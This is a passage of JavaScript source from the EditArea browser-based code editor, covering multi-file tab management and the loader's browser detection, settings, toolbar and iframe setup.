	EditArea.prototype.close_file= function(id){
		if(this.files[id])
		{
			this.save_file(id);
			
			// close file callback
			if(this.execCommand('file_close', this.files[id])!==false)
			{
				// remove the tab in the toolbar
				var li= $(this.files[id]['html_id']);
				li.parentNode.removeChild(li);
				// select a new file
				if(id== this.curr_file)
				{
					var next_file= "";
					var is_next= false;
					for(var i in this.files)
					{
						if(is_next)
						{
							next_file= i;
							break;
						}
						else if(i==id)
							is_next= true;
						else
							next_file= i;
					}
					// display the next file
					this.switch_to_file(next_file);
				}
				// clear datas
				delete (this.files[id]);
				this.update_size();
			}	
		}
	};
	
	// backup current file datas
	EditArea.prototype.save_file= function(id){
		if(this.files[id])
		{
			var save= this.files[id];
			save['last_selection']= this.last_selection;		
			save['last_text_to_highlight']= this.last_text_to_highlight;
			save['last_hightlighted_text']= this.last_hightlighted_text;
			save['previous']= this.previous;
			save['next']= this.next;
			save['last_undo']= this.last_undo;
			save['smooth_selection']= this.smooth_selection;
			save['do_highlight']= this.do_highlight;
			save['syntax']= this.settings['syntax'];
			save['text']= this.textarea.value;
			save['scroll_top']= this.result.scrollTop;
			save['scroll_left']= this.result.scrollLeft;
			save['selection_start']= this.last_selection["selectionStart"];
			save['selection_end']= this.last_selection["selectionEnd"];
			save['font_size']= this.settings["font_size"];
			save['font_family']= this.settings["font_family"];
			save['toolbar']= {'links':{}, 'selects': {}};
			// save toolbar buttons state for fileSpecific buttons
			var links= $("toolbar_1").getElementsByTagName("a");
			for(var i=0; i<links.length; i++)
			{
				if(links[i].getAttribute('fileSpecific')=='yes')
				{
					var save_butt= new Object();
					var img= links[i].getElementsByTagName('img')[0];
					save_butt['classLock']= img.classLock;
					save_butt['className']= img.className;
					save_butt['oldClassName']= img.oldClassName;
					
					save['toolbar']['links'][links[i].id]= save_butt;
				}
			}
			// save toolbar select state for fileSpecific buttons
			var selects= $("toolbar_1").getElementsByTagName("select");
			for(var i=0; i<selects.length; i++)
			{
				if(selects[i].getAttribute('fileSpecific')=='yes')
				{
					save['toolbar']['selects'][selects[i].id]= selects[i].value;
				}
			}
				
			this.files[id]= save;
			
			return save;
		}
		else
			return false;
	};
	
	// update file_datas
	EditArea.prototype.update_file= function(id, new_values){
		for(var i in new_values)
		{
			this.files[id][i]= new_values[i];
		}
	};
	
	// display file datas
	EditArea.prototype.display_file= function(id){
		// check if there is at least one tab file displayed
		if(id=='')
		{
			this.textarea.readOnly= true;
			this.tab_browsing_area.style.display= "none";
			$("no_file_selected").style.display= "block";
			this.result.className= "empty";
			if(!this.files[''])
				this.open_file({id: ''});
		}
		else
		{
			this.result.className= "";
			this.textarea.readOnly= !this.is_editable;
			$("no_file_selected").style.display= "none";
			this.tab_browsing_area.style.display= "block";
		}
		
		this.check_redo(true);
		this.check_undo(true);
		this.curr_file= id;
		
		// replace selected tab file
		var lis= this.tab_browsing_area.getElementsByTagName('li');
		for(var i=0; i<lis.length; i++)
		{
			if(lis[i].id == this.files[id]['html_id'])
				lis[i].className='selected';
			else
				lis[i].className='';
		}
		
		// replace next files datas
		var new_file= this.files[id];
	
		// restore text content
		this.textarea.value= new_file['text'];
		
		// restore font-size
		this.set_font(new_file['font_family'], new_file['font_size']);
		
		// restore selection and scroll
		this.area_select(new_file['last_selection']['selection_start'], new_file['last_selection']['selection_end'] - new_file['last_selection']['selection_start']);
		this.manage_size(true);
		this.result.scrollTop= new_file['scroll_top'];
		this.result.scrollLeft= new_file['scroll_left'];
		
		// restore undo, redo
		this.previous=	new_file['previous'];
		this.next=	new_file['next'];
		this.last_undo=	new_file['last_undo'];
		this.check_redo(true);
		this.check_undo(true);
		
		// restore highlight
		this.execCommand("change_highlight", new_file['do_highlight']);
		this.execCommand("change_syntax", new_file['syntax']);
		
		// smooth mode
		this.execCommand("change_smooth_selection_mode", new_file['smooth_selection']);
			
		// restore links state in toolbar
		var links= new_file['toolbar']['links'];
		for(var i in links)
		{
			if(img= $(i).getElementsByTagName('img')[0])
			{
				var save_butt= new Object();
				img.classLock= links[i]['classLock'];
				img.className= links[i]['className'];
				img.oldClassName= links[i]['oldClassName'];
			}
		}
		// restore select state in toolbar
		var selects= new_file['toolbar']['selects'];
		for(var i in selects)
		{
			var options= $(i).options;
			for(var j=0; j<options.length; j++)
			{
				if(options[j].value == selects[i])
					$(i).options[j].selected=true;
			}
		}
	
	};

	// change tab for displaying a new one
	EditArea.prototype.switch_to_file= function(file_to_show, force_refresh){
		if(file_to_show!=this.curr_file || force_refresh)
		{
			this.save_file(this.curr_file);
			if(this.curr_file!='')
				this.execCommand('file_switch_off', this.files[this.curr_file]);
			this.display_file(file_to_show);
			if(file_to_show!='')
				this.execCommand('file_switch_on', this.files[file_to_show]);
		}
	};

	// get all infos for the given file
	EditArea.prototype.get_file= function(id){
		if(id==this.curr_file)
			this.save_file(id);
		return this.files[id];
	};
	
	// get all available files infos
	EditArea.prototype.get_all_files= function(){
		tmp_files= this.files;
		this.save_file(this.curr_file);
		if(tmp_files[''])
			delete(this.files['']);
		return tmp_files;
	};
	
	
	// check if the file has changed
	EditArea.prototype.check_file_changes= function(){
	
		var id= this.curr_file;
		if(this.files[id] && this.files[id]['compare_edited_text']!=undefined)
		{
			if(this.files[id]['compare_edited_text'].length==this.textarea.value.length && this.files[id]['compare_edited_text']==this.textarea.value)
			{
				if(this.files[id]['edited']!= false)
					this.set_file_edited_mode(id, false);
			}
			else
			{
				if(this.files[id]['edited']!= true)
					this.set_file_edited_mode(id, true);
			}
		}
	};
	
	// set if the file is edited or not
	EditArea.prototype.set_file_edited_mode= function(id, to){
		// change CSS for edited tab
		if(this.files[id] && $(this.files[id]['html_id']))
		{
			var link= $(this.files[id]['html_id']).getElementsByTagName('a')[0];
			if(to==true)
			{
				link.className= 'edited';
			}
			else
			{
				link.className= '';
				if(id==this.curr_file)
					text= this.textarea.value;
				else
					text= this.files[id]['text'];
				this.files[id]['compare_edited_text']= text;
			}
				
			this.files[id]['edited']= to;
		}
	};

	EditArea.prototype.set_show_line_colors = function(new_value){
		this.show_line_colors = new_value;
		
		if( new_value )
			this.selection_field.className	+= ' show_colors';
		else
			this.selection_field.className	= this.selection_field.className.replace( / show_colors/g, '' );
	};',
  './AJAX-B/edit_area/edit_area_loader.js' => '/******
 *
 *	EditArea 
 * 	Developped by Christophe Dolivet
 *	Released under LGPL and Apache licenses
 *
******/

function EditAreaLoader(){
	this.version= "0.7.2.2";
	date= new Date();
	this.start_time=date.getTime();
	this.win= "loading";	// window loading state
	this.error= false;	// to know if load is interrrupt
	this.baseURL="";
	//this.suffix="";
	this.template="";
	this.lang= new Object();	// array of loaded speech language
	this.load_syntax= new Object();	// array of loaded syntax language for highlight mode
	this.syntax= new Object();	// array of initilized syntax language for highlight mode
	this.loadedFiles= new Array();
	this.waiting_loading= new Object(); 	// files that must be loaded in order to allow the script to really start
	// scripts that must be loaded in the iframe
	this.scripts_to_load= new Array("elements_functions", "resize_area", "reg_syntax");
	this.sub_scripts_to_load= new Array("edit_area", "manage_area" ,"edit_area_functions", "keyboard", "search_replace", "highlight", "regexp" );
	
	this.resize= new Array(); // contain resizing datas
	this.hidden= new Object();	// store datas of the hidden textareas
	
	this.default_settings= {
		//id: "src"	// id of the textarea to transform
		debug: false
		,smooth_selection: true
		,font_size: "10"		// not for IE
		,font_family: "monospace"	// can be "verdana,monospace". Allow non monospace font but Firefox get smaller tabulation with non monospace fonts. IE doesn't change the tabulation width and Opera doesn't take this option into account... 
		,start_highlight: false	// if start with highlight
		,autocompletion: false	// DEV ONLY if enable auto completion			
		,toolbar: "search, go_to_line, fullscreen, |, undo, redo, |, select_font,|, change_smooth_selection, highlight, reset_highlight, |, help"
		,begin_toolbar: ""		//  "new_document, save, load, |"
		,end_toolbar: ""		// or end_toolbar
		,is_multi_files: false		// enable the multi file mode (the textarea content is ignored)
		,allow_resize: "both"	// possible values: "no", "both", "x", "y"
		,show_line_colors: false	// if the highlight is disabled for the line currently beeing edited (if enabled => heavy CPU use)
		,min_width: 400
		,min_height: 125
		,replace_tab_by_spaces: false
		,allow_toggle: true		// true or false
		,language: "en"
		,syntax: ""
		,syntax_selection_allow: "basic,brainfuck,c,coldfusion,cpp,css,html,js,pas,perl,php,python,ruby,robotstxt,sql,tsql,vb,xml"
		,display: "onload" 		// onload or later
		,max_undo: 30
		,browsers: "known"	// all or known
		,plugins: "" // comma separated plugin list
		,gecko_spellcheck: false	// enable/disable by default the gecko_spellcheck
		,fullscreen: false
		,is_editable: true
		,wrap_text: false		// NOT IMPLEMENTED
		,load_callback: ""		// click on load button (function name)
		,save_callback: ""		// click on save button (function name)
		,change_callback: ""	// textarea onchange trigger (function name)
		,submit_callback: ""	// form submited (function name)
		,EA_init_callback: ""	// EditArea initiliazed (function name)
		,EA_delete_callback: ""	// EditArea deleted (function name)
		,EA_load_callback: ""	// EditArea fully loaded and displayed (function name)
		,EA_unload_callback: ""	// EditArea delete while being displayed (function name)
		,EA_toggle_on_callback: ""	// EditArea toggled on (function name)
		,EA_toggle_off_callback: ""	// EditArea toggled off (function name)
		,EA_file_switch_on_callback: ""	// a new tab is selected (called for the newly selected file)
		,EA_file_switch_off_callback: ""	// a new tab is selected (called for the previously selected file)
		,EA_file_close_callback: ""		// close a tab
	};
	
	this.advanced_buttons = [
			// id, button img, command (it will try to find the translation of "id"), is_file_specific
			['new_document', 'newdocument.gif', 'new_document', false],
			['search', 'search.gif', 'show_search', false],
			['go_to_line', 'go_to_line.gif', 'go_to_line', false],
			['undo', 'undo.gif', 'undo', true],
			['redo', 'redo.gif', 'redo', true],
			['change_smooth_selection', 'smooth_selection.gif', 'change_smooth_selection_mode', true],
			['reset_highlight', 'reset_highlight.gif', 'resync_highlight', true],
			['highlight', 'highlight.gif','change_highlight', true],
			['help', 'help.gif', 'show_help', false],
			['save', 'save.gif', 'save', false],
			['load', 'load.gif', 'load', false],
			['fullscreen', 'fullscreen.gif', 'toggle_full_screen', false],
			['autocompletion', 'autocompletion.gif', 'toggle_autocompletion', true]
		];
			
	// navigator identification
	ua= navigator.userAgent;
	
	this.nav= new Object(); 
	
	this.nav['isMacOS'] = (ua.indexOf('Mac OS') != -1);
	
	this.nav['isIE'] = (navigator.appName == "Microsoft Internet Explorer");
	if(this.nav['isIE']){
		this.nav['isIE'] = ua.replace(/^.*?MSIE ([0-9\.]*).*$/, "$1");
		if(this.nav['isIE']<6)
			this.has_error(); 
	}
	if(this.nav['isNS'] = ua.indexOf('Netscape/') != -1){	// work only on netscape > 8 with render mode IE
		this.nav['isNS']= ua.substr(ua.indexOf('Netscape/')+9);
		if(this.nav['isNS']<8 || !this.nav['isIE'])
			this.has_error();			
	}
	
	if(this.nav['isOpera'] = (ua.indexOf('Opera') != -1)){	
		this.nav['isOpera']= ua.replace(/^.*?Opera.*?([0-9\.]+).*$/i, "$1");
		if(this.nav['isOpera']<9)
			this.has_error();
		this.nav['isIE']=false;			
	}
	this.nav['isGecko'] = (ua.indexOf('Gecko') != -1);

	if(this.nav['isFirefox'] =(ua.indexOf('Firefox') != -1))
		this.nav['isFirefox'] = ua.replace(/^.*?Firefox.*?([0-9\.]+).*$/i, "$1");
	// Iceweasel is a clone of Firefox 	
	if(this.nav['isIceweasel'] =(ua.indexOf('Iceweasel') != -1))
		this.nav['isFirefox']= this.nav['isIceweasel'] = ua.replace(/^.*?Iceweasel.*?([0-9\.]+).*$/i, "$1");
	// grandparadisio is a clone of Firefox 	
	if(this.nav['GranParadiso'] =(ua.indexOf('GranParadiso') != -1))
		this.nav['isFirefox']= this.nav['isGranParadiso'] = ua.replace(/^.*?GranParadiso.*?([0-9\.]+).*$/i, "$1");
	
	if(this.nav['isCamino'] =(ua.indexOf('Camino') != -1))
		this.nav['isCamino'] = ua.replace(/^.*?Camino.*?([0-9\.]+).*$/i, "$1");

	if(this.nav['isChrome'] =(ua.indexOf('Chrome') != -1))
		this.nav['isChrome'] = ua.replace(/^.*?Chrome.*?([0-9\.]+).*$/i, "$1");
	
	if(this.nav['isSafari'] =(ua.indexOf('Safari') != -1))
		this.nav['isSafari']= ua.replace(/^.*?Version\/([0-9]+\.[0-9]+).*$/i, "$1");
	
	if(this.nav['isIE']>=6 || this.nav['isOpera']>=9 || this.nav['isFirefox'] || this.nav['isChrome'] || this.nav['isCamino'] || this.nav['isSafari']>=3)
		this.nav['isValidBrowser']=true;
	else
		this.nav['isValidBrowser']=false;

	this.set_base_url();		
	
	for(var i=0; i<this.scripts_to_load.length; i++){
		setTimeout("editAreaLoader.load_script('"+this.baseURL + this.scripts_to_load[i]+ ".js');", 1);	// let the time to Object editAreaLoader to be created before loading additionnal scripts
		this.waiting_loading[this.scripts_to_load[i]+ ".js"]= false;
	}				
	this.add_event(window, "load", EditAreaLoader.prototype.window_loaded);
};
	
EditAreaLoader.prototype ={
	has_error : function(){
		this.error= true;
		// set to empty all EditAreaLoader functions
		for(var i in EditAreaLoader.prototype){
			EditAreaLoader.prototype[i]=function(){};		
		}
	},
	
	window_loaded : function(){
		editAreaLoader.win="loaded";
		
		// add events on forms
		if (document.forms) {
			for (var i=0; i<document.forms.length; i++) {
				var form = document.forms[i];
				form.edit_area_replaced_submit=null;
				try {
					
					form.edit_area_replaced_submit = form.onsubmit;
					form.onsubmit="";
				} catch (e) {// Do nothing
				}
				editAreaLoader.add_event(form, "submit", EditAreaLoader.prototype.submit);
				editAreaLoader.add_event(form, "reset", EditAreaLoader.prototype.reset);
			}
		}
		editAreaLoader.add_event(window, "unload", function(){for(var i in editAreas){editAreaLoader.delete_instance(i);}});	// ini callback
	},
	
	// init the checkup of the selection of the IE textarea
	init_ie_textarea : function(id){
		var t=document.getElementById(id);
		try{
			if(t && typeof(t.focused)=="undefined"){
				t.focus();
				t.focused=true;
				t.selectionStart= t.selectionEnd= 0;			
				get_IE_selection(t);
				editAreaLoader.add_event(t, "focus", IE_textarea_focus);
				editAreaLoader.add_event(t, "blur", IE_textarea_blur);
				
			}
		}catch(ex){}
	},
		
	init : function(settings){
	
		if(!settings["id"])
			this.has_error();
		
		if(this.error)
			return;
		// if an instance of the editor already exists for this textarea => delete the previous one
		if(editAreas[settings["id"]])
			editAreaLoader.delete_instance(settings["id"]);
	
		// init settings
		for(var i in this.default_settings){
			if(typeof(settings[i])=="undefined")
				settings[i]=this.default_settings[i];
		}
		
		if(settings["browsers"]=="known" && this.nav['isValidBrowser']==false){
			return;
		}
		
		if(settings["begin_toolbar"].length>0)
			settings["toolbar"]= settings["begin_toolbar"] +","+ settings["toolbar"];
		if(settings["end_toolbar"].length>0)
			settings["toolbar"]= settings["toolbar"] +","+ settings["end_toolbar"];
		settings["tab_toolbar"]= settings["toolbar"].replace(/ /g,"").split(",");
		
		settings["plugins"]= settings["plugins"].replace(/ /g,"").split(",");
		for(var i=0; i<settings["plugins"].length; i++){
			if(settings["plugins"][i].length==0)
				settings["plugins"].splice(i,1);
		}
	//	alert(settings["plugins"].length+": "+ settings["plugins"].join(","));
	/*	var tmp="";
		for(var i in settings){
			tmp+=i+" : "+settings[i]+";\n";
		}
		alert(tmp);*/
		this.get_template();
		this.load_script(this.baseURL + "langs/"+ settings["language"] + ".js");
		
		if(settings["syntax"].length>0){
			settings["syntax"]=settings["syntax"].toLowerCase();
			this.load_script(this.baseURL + "reg_syntax/"+ settings["syntax"] + ".js");
		}
		//alert(this.template);
		
		editAreas[settings["id"]]= {"settings": settings};
		editAreas[settings["id"]]["displayed"]=false;
		editAreas[settings["id"]]["hidden"]=false;
		
		//if(settings["display"]=="onload")
		editAreaLoader.start(settings["id"]);
	},
	
	// delete an instance of an EditArea
	delete_instance : function(id){
		
		editAreaLoader.execCommand(id, "EA_delete");
		if(window.frames["frame_"+id] && window.frames["frame_"+id].editArea)
		{
			if(editAreas[id]["displayed"])
				editAreaLoader.toggle(id, "off");
			window.frames["frame_"+id].editArea.execCommand("EA_unload");
		}

		// remove toggle infos and debug textarea
		var span= document.getElementById("EditAreaArroundInfos_"+id);
		if(span)
			span.parentNode.removeChild(span);

		// remove the iframe
		var iframe= document.getElementById("frame_"+id);
		if(iframe){
			iframe.parentNode.removeChild(iframe);
			//delete iframe;
			try {
				delete window.frames["frame_"+id];
			} catch (e) {// Do nothing
			}
		}	

		delete editAreas[id];

	},

	
	start : function(id){
		// check that the window is loaded
		if(this.win!="loaded"){
			setTimeout("editAreaLoader.start('"+id+"');", 50);
			return;
		}
		
		// check that all needed scripts are loaded
		for(var i in editAreaLoader.waiting_loading){
			if(editAreaLoader.waiting_loading[i]!="loaded" && typeof(editAreaLoader.waiting_loading[i])!="function"){
				setTimeout("editAreaLoader.start('"+id+"');", 50);
				return;
			}
		}
		
		// wait until language and syntax files are loaded
		if(!editAreaLoader.lang[editAreas[id]["settings"]["language"]] || (editAreas[id]["settings"]["syntax"].length>0 && !editAreaLoader.load_syntax[editAreas[id]["settings"]["syntax"]]) ){
			setTimeout("editAreaLoader.start('"+id+"');", 50);
			return;
		}
		// init the regexp for syntax highlight
		if(editAreas[id]["settings"]["syntax"].length>0)
			editAreaLoader.init_syntax_regexp();
		
			
		// display toggle option and debug area
		if(!document.getElementById("EditAreaArroundInfos_"+id) && (editAreas[id]["settings"]["debug"] || editAreas[id]["settings"]["allow_toggle"]))
		{
			var span= document.createElement("span");
			span.id= "EditAreaArroundInfos_"+id;
			var html="";
			if(editAreas[id]["settings"]["allow_toggle"]){
				checked=(editAreas[id]["settings"]["display"]=="onload")?"checked":"";
				html+="<div id='edit_area_toggle_"+i+"'>";
				html+="<input id='edit_area_toggle_checkbox_"+ id +"' class='toggle_"+ id +"' type='checkbox' onclick='editAreaLoader.toggle(\""+ id +"\");' accesskey='e' "+checked+" />";
				html+="<label for='edit_area_toggle_checkbox_"+ id +"'>{$toggle}</label></div>";	
			}
			if(editAreas[id]["settings"]["debug"])
				html+="<textarea id='edit_area_debug_"+ id +"' style='z-index: 20; width: 100%; height: 120px;overflow: auto; border: solid black 1px;'></textarea><br />";				
			html= editAreaLoader.translate(html, editAreas[id]["settings"]["language"]);				
			span.innerHTML= html;				
			var father= document.getElementById(id).parentNode;
			var next= document.getElementById(id).nextSibling;
			if(next==null)
				father.appendChild(span);
			else
				father.insertBefore(span, next);
		}
		
		if(!editAreas[id]["initialized"])
		{
			this.execCommand(id, "EA_init");	// ini callback
			if(editAreas[id]["settings"]["display"]=="later"){
				editAreas[id]["initialized"]= true;
				return;
			}
		}
		
		if(this.nav['isIE']){	// launch IE selection checkup
			editAreaLoader.init_ie_textarea(id);
		}
				
		// get toolbar content
		var html_toolbar_content="";
		area=editAreas[id];
		
		for(var i=0; i<area["settings"]["tab_toolbar"].length; i++){
		//	alert(this.tab_toolbar[i]+"\n"+ this.get_control_html(this.tab_toolbar[i]));
			html_toolbar_content+= this.get_control_html(area["settings"]["tab_toolbar"][i], area["settings"]["language"]);
		}
		
		// create javascript import rules for the iframe if the javascript has not been already loaded by the compressor
		if(!this.iframe_script){
			this.iframe_script="";
			for(var i=0; i<this.sub_scripts_to_load.length; i++)
				this.iframe_script+='<script language="javascript" type="text/javascript" src="'+ this.baseURL + this.sub_scripts_to_load[i] +'.js"></script>';
		}
		
		// add plugins scripts if not already loaded by the compressor (but need to load language in all the case)
		for(var i=0; i<area["settings"]["plugins"].length; i++){
			//if(typeof(area["settings"]["plugins"][i])=="function") continue;
			if(!editAreaLoader.all_plugins_loaded)
				this.iframe_script+='<script language="javascript" type="text/javascript" src="'+ this.baseURL + 'plugins/' + area["settings"]["plugins"][i] + '/' + area["settings"]["plugins"][i] +'.js"></script>';
			this.iframe_script+='<script language="javascript" type="text/javascript" src="'+ this.baseURL + 'plugins/' + area["settings"]["plugins"][i] + '/langs/' + area["settings"]["language"] +'.js"></script>';
		}
	
		
		// create css link for the iframe if the whole css text has not been already loaded by the compressor
		if(!this.iframe_css){
			this.iframe_css="<link href='"+ this.baseURL +"edit_area.css' rel='stylesheet' type='text/css' />";
		}
		
		
		// create template
		var template= this.template.replace(/\[__BASEURL__\]/g, this.baseURL);
		template= template.replace("[__TOOLBAR__]",html_toolbar_content);
			
		
		// fill template with good language sentences
		template= this.translate(template, area["settings"]["language"], "template");
		
		// add css_code
		template= template.replace("[__CSSRULES__]", this.iframe_css);				
		// add js_code
		template= template.replace("[__JSCODE__]", this.iframe_script);
		
		// add version_code
		template= template.replace("[__EA_VERSION__]", this.version);
		//template=template.replace(/\{\$([^\}]+)\}/gm, this.traduc_template);
		
		//editAreas[area["settings"]["id"]]["template"]= template;
		
		area.textarea=document.getElementById(area["settings"]["id"]);
		editAreas[area["settings"]["id"]]["textarea"]=area.textarea;
	
		// if removing previous instances from DOM before (fix from Marcin)
		if(typeof(window.frames["frame_"+area["settings"]["id"]])!='undefined') 
			delete window.frames["frame_"+area["settings"]["id"]];
		
		// insert template in the document after the textarea
		var father= area.textarea.parentNode;
	/*	var container= document.createElement("div");
		container.id= "EditArea_frame_container_"+area["settings"]["id"];
	*/	
		var content= document.createElement("iframe");
		content.name= "frame_"+area["settings"]["id"];
		content.id= "frame_"+area["settings"]["id"];
		content.style.borderWidth= "0px";
		setAttribute(content, "frameBorder", "0"); // IE
		content.style.overflow="hidden";
		content.style.display="none";
		
	/*	container.appendChild(content);
		var next= area.textarea.nextSibling;
		if(next==null)
			father.appendChild(container);
		else
			father.insertBefore(container, next) ;*/
		
		var next= area.textarea.nextSibling;
		if(next==null)
			father.appendChild(content);
		else
			father.insertBefore(content, next) ;		
		var frame=window.frames["frame_"+area["settings"]["id"]];		
		
		frame.document.open();
		frame.editAreas=editAreas;
		frame.area_id= area["settings"]["id"];	
		frame.document.area_id= area["settings"]["id"];	
		frame.document.write(template);
		frame.document.close();

	//	frame.editAreaLoader=this;
		//editAreas[area["settings"]["id"]]["displayed"]=true;
		
	},
	
	toggle : function(id, toggle_to){

	/*	if((editAreas[id]["displayed"]==true  && toggle_to!="on") || toggle_to=="off"){
			this.toggle_off(id);
		}else if((editAreas[id]["displayed"]==false  && toggle_to!="off") || toggle_to=="on"){
			this.toggle_on(id);
		}*/
		if(!toggle_to)
			toggle_to= (editAreas[id]["displayed"]==true)?"off":"on";
		if(editAreas[id]["displayed"]==true  && toggle_to=="off"){
			this.toggle_off(id);
		}else if(editAreas[id]["displayed"]==false  && toggle_to=="on"){
			this.toggle_on(id);
		}
	
		return false;
	},
	
	toggle_off : function(id){
		if(window.frames["frame_"+id])
		{	
			var frame=window.frames["frame_"+id];
			if(frame.editArea.fullscreen['isFull'])
				frame.editArea.toggle_full_screen(false);
			editAreas[id]["displayed"]=false;
			
			// set wrap to off to keep same display mode (some browser get problem with this, so it need more complex operation
			
			editAreas[id]["textarea"].wrap = "off";	// for IE
			setAttribute(editAreas[id]["textarea"], "wrap", "off");	// for Firefox	
			var parNod = editAreas[id]["textarea"].parentNode;
			var nxtSib = editAreas[id]["textarea"].nextSibling;
			parNod.removeChild(editAreas[id]["textarea"]); 
			parNod.insertBefore(editAreas[id]["textarea"], nxtSib);
			
			// restore values
			editAreas[id]["textarea"].value= frame.editArea.textarea.value;
			var selStart= frame.editArea.last_selection["selectionStart"];
			var selEnd= frame.editArea.last_selection["selectionEnd"];
			var scrollTop= frame.document.getElementById("result").scrollTop;
			var scrollLeft= frame.document.getElementById("result").scrollLeft;
			
			
			document.getElementById("frame_"+id).style.display='none';
		
			editAreas[id]["textarea"].style.display="inline";


			editAreas[id]["textarea"].focus();	
			if(this.nav['isIE']){
				editAreas[id]["textarea"].selectionStart= selStart;
				editAreas[id]["textarea"].selectionEnd= selEnd;
				editAreas[id]["textarea"].focused=true;
				set_IE_selection(editAreas[id]["textarea"]);
			}else{
				if(this.nav['isOpera']){	// Opera bug when moving selection start and selection end
					editAreas[id]["textarea"].setSelectionRange(0, 0);
				}
				try{
					editAreas[id]["textarea"].setSelectionRange(selStart, selEnd);
				} catch(e) {
				};
			}
			editAreas[id]["textarea"].scrollTop= scrollTop;
			editAreas[id]["textarea"].scrollLeft= scrollLeft;
			frame.editArea.execCommand("toggle_off");

		}
	},	
	
	toggle_on : function(id){
		/*if(!editAreas[area["settings"]["id"]]["started"])
			editAreaLoader.start(id);*/
			
		if(window.frames["frame_"+id])
		{
			var frame=window.frames["frame_"+id];
			area= window.frames["frame_"+id].editArea;
			area.textarea.value= editAreas[id]["textarea"].value;
			
			// store display values;
			var selStart= 0;
			var selEnd= 0;
			var scrollTop= 0;
			var scrollLeft= 0;

			if(editAreas[id]["textarea"].use_last==true)
			{
				var selStart= editAreas[id]["textarea"].last_selectionStart;
				var selEnd= editAreas[id]["textarea"].last_selectionEnd;
				var scrollTop= editAreas[id]["textarea"].last_scrollTop;
				var scrollLeft= editAreas[id]["textarea"].last_scrollLeft;
				editAreas[id]["textarea"].use_last=false;
			}
			else
			{
				try{
					var selStart= editAreas[id]["textarea"].selectionStart;
					var selEnd= editAreas[id]["textarea"].selectionEnd;
					var scrollTop= editAreas[id]["textarea"].scrollTop;
					var scrollLeft= editAreas[id]["textarea"].scrollLeft;
					//alert(scrollTop);
				}catch(ex){}
			}
			
			// set to good size
			this.set_editarea_size_from_textarea(id, document.getElementById("frame_"+id));
			editAreas[id]["textarea"].style.display="none";			
			document.getElementById("frame_"+id).style.display="inline";
			area.execCommand("focus"); // without this focus opera doesn't manage well the iframe body height
			
			
			// restore display values
			editAreas[id]["displayed"]=true;
			area.execCommand("update_size");
			
			window.frames["frame_"+id].document.getElementById("result").scrollTop= scrollTop;
			window.frames["frame_"+id].document.getElementById("result").scrollLeft= scrollLeft;
			area.area_select(selStart, selEnd-selStart);
			area.execCommand("toggle_on");

			/*date= new Date();
			end_time=date.getTime();		
			alert("load time: "+ (end_time-this.start_time));*/
			
		}
		else
		{
		/*	if(this.nav['isIE'])
				get_IE_selection(document.getElementById(id));	*/	
			var elem= document.getElementById(id);	
			elem.last_selectionStart= elem.selectionStart;
			elem.last_selectionEnd= elem.selectionEnd;
			elem.last_scrollTop= elem.scrollTop;
			elem.last_scrollLeft= elem.scrollLeft;
			elem.use_last=true;
			editAreaLoader.start(id);
		}
	},	
	
	set_editarea_size_from_textarea : function(id, frame){	
		var elem= document.getElementById(id);
		//var width= elem.offsetWidth+"px";
		//var height= elem.offsetHeight+"px";
		var width=Math.max(editAreas[id]["settings"]["min_width"], elem.offsetWidth)+"px";
		var height=Math.max(editAreas[id]["settings"]["min_height"], elem.offsetHeight)+"px";
		if(elem.style.width.indexOf("%")!=-1)
			width= elem.style.width;
		if(elem.style.height.indexOf("%")!=-1)
			height= elem.style.height;
		//alert("h: "+height+" w: "+width);
	
		frame.style.width= width;
		frame.style.height= height;
	},
		
	set_base_url : function(){
		//this.baseURL="";
		if (!this.baseURL) {
			var elements = document.getElementsByTagName('script');
	
			for (var i=0; i<elements.length; i++) {
				if (elements[i].src && elements[i].src.match(/edit_area_[^\\\/]*$/i) ) {
					var src = elements[i].src;
					src = src.substring(0, src.lastIndexOf('/'));
					this.baseURL = src;
					this.file_name= elements[i].src.substr(elements[i].src.lastIndexOf("/")+1);
					break;
				}
			}
		}
		
		var documentBasePath = document.location.href;
		if (documentBasePath.indexOf('?') != -1)
			documentBasePath = documentBasePath.substring(0, documentBasePath.indexOf('?'));
		var documentURL = documentBasePath;
		documentBasePath = documentBasePath.substring(0, documentBasePath.lastIndexOf('/'));
	
		// If not HTTP absolute
		if (this.baseURL.indexOf('://') == -1 && this.baseURL.charAt(0) != '/') {
			// If site absolute
			this.baseURL = documentBasePath + "/" + this.baseURL;
		}
		this.baseURL+="/";	
	},
	
	get_button_html : function(id, img, exec, isFileSpecific, baseURL) {
		if(!baseURL)
			baseURL= this.baseURL;
		var cmd = 'editArea.execCommand(\'' + exec + '\')';
		html= '<a id="a_'+ id +'" href="javascript:' + cmd + '" onclick="' + cmd + ';return false;" onmousedown="return false;" target="_self" fileSpecific="'+ (isFileSpecific?'yes':'no') +'">';
		html+= '<img id="' + id + '" src="'+ baseURL +'images/' + img + '" title="{$' + id + '}" width="20" height="20" class="editAreaButtonNormal" onmouseover="editArea.switchClass(this,\'editAreaButtonOver\');" onmouseout="editArea.restoreClass(this);" onmousedown="editArea.restoreAndSwitchClass(this,\'editAreaButtonDown\');" /></a>';
		return html;
	},

	get_control_html : function(button_name, lang) {		
		
		for (var i=0; i<this.advanced_buttons.length; i++)
		{
			var but = this.advanced_buttons[i];			
			if (but[0] == button_name)
			{
				return this.get_button_html(but[0], but[1], but[2], but[3]);
			}	
		}		
				
		switch (button_name){
			case "*":
			case "return":
				return "<br />";
			case "|":
		  	case "separator":
				return '<img src="'+ this.baseURL +'images/spacer.gif" width="1" height="15" class="editAreaSeparatorLine">';
			case "select_font":
				html= "<select id='area_font_size' onchange='javascript:editArea.execCommand(\"change_font_size\")' fileSpecific='yes'>"
					+"<option value='-1'>{$font_size}</option>"
					+"<option value='8'>8 pt</option>"
					+"<option value='9'>9 pt</option>"
					+"<option value='10'>10 pt</option>"
					+"<option value='11'>11 pt</option>"
					+"<option value='12'>12 pt</option>"
					+"<option value='14'>14 pt</option>"
					+"</select>";
				return html;
			case "syntax_selection":
				var html= "<select id='syntax_selection' onchange='javascript:editArea.execCommand(\"change_syntax\", this.value)' fileSpecific='yes'>";
				html+="<option value='-1'>{$syntax_selection}</option>";
				html+="</select>";
				return html;
		}
		
		return "<span id='tmp_tool_"+button_name+"'>["+button_name+"]</span>";		
	},
	
	
	get_template : function(){
		if(this.template=="")
		{
			var xhr_object = null; 
			if(window.XMLHttpRequest) // Firefox 
				xhr_object = new XMLHttpRequest(); 
			else if(window.ActiveXObject) // Internet Explorer 
				xhr_object = new ActiveXObject("Microsoft.XMLHTTP"); 
			else { // XMLHttpRequest not supported
				alert("XMLHTTPRequest not supported. EditArea not loaded"); 
				return; 
			} 
			 
